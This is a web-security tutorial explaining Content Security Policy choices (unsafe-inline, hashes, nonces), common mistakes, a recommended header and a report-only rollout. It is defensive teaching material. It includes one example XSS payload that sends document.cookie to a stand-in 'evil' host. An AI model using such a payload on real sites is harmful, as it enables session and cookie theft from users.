Content Security Policy (nonce vs hash)
Web developmentweb development / security
Where you meet this
You finally ship a CSP header to kill XSS. The page goes blank:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
You have three ways to allow your own inline scripts. Two of them are traps.
Side by side
- 'unsafe-inline'
script-src 'self' 'unsafe-inline'
Blocks: nothing that matters. An injected <script>fetch('//evil/'+document.cookie)</script> runs happily.
Effort 0, security ~0. It's CSP-shaped, not CSP.
- Hash
script-src 'self' 'sha256-K5x...='
Browser SHA-256s the exact inline script text and compares. One whitespace change = broken page.
Best for: a fixed inline bootstrap you rarely touch, or static HTML on a CDN.
printf '%s' "$(cat inline.js)" | openssl dgst -sha256 -binary | base64
- Nonce
script-src 'self' 'nonce-8Xk2pQ...'
<script nonce="8Xk2pQ...">...</script>
Server mints a fresh random value per response and puts it in BOTH the header and the tag. An attacker injecting HTML can't guess it.
Best for: server-rendered pages — the common case.
What people actually get wrong
- A nonce must be per-response and unpredictable: 16 random bytes, base64. A nonce hardcoded in a template, or cached by your CDN, is worse than nothing — it becomes a permanent password the attacker just copies out of the page.
- So nonce + cached HTML don't mix. Either Cache-Control: no-store on the HTML, or use hashes.
- 'unsafe-inline' is IGNORED by modern browsers whenever a nonce or hash is present. That means you can keep it purely as an old-browser fallback without weakening anyone else.
- Allowlisting a CDN host (script-src https://cdn.example.com) is usually bypassable — big CDNs host JSONP endpoints and ancient AngularJS that turn into arbitrary execution. Nonces beat host allowlists.
- Inline event handlers (onclick="save()") can't be nonced at all. There's no tag to put the nonce on. They need addEventListener.
A header worth shipping
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none'
Reading it right to left:
- 'strict-dynamic' — a nonced script may load its own children, so your bundler's hashed chunks work without listing every URL.
- https: 'unsafe-inline' — dead weight for modern browsers (ignored), a fallback for old ones.
- object-src 'none' — kills <object>/<embed> plugin vectors.
- base-uri 'none' — stops an injected <base href> from repointing all your relative script URLs at an attacker.
Roll it out without breaking prod
Ship it as Content-Security-Policy-Report-Only with report-to first. It enforces nothing and only reports violations. Watch for a week, fix what shows up, then rename the header.
Your exercise
Pick one page you own. Add the Report-Only header above and collect violations for an hour. Then sort them into two piles: scripts you can add a nonce to, and inline onclick/onsubmit handlers you can't. That second pile is your real migration cost — how big is it?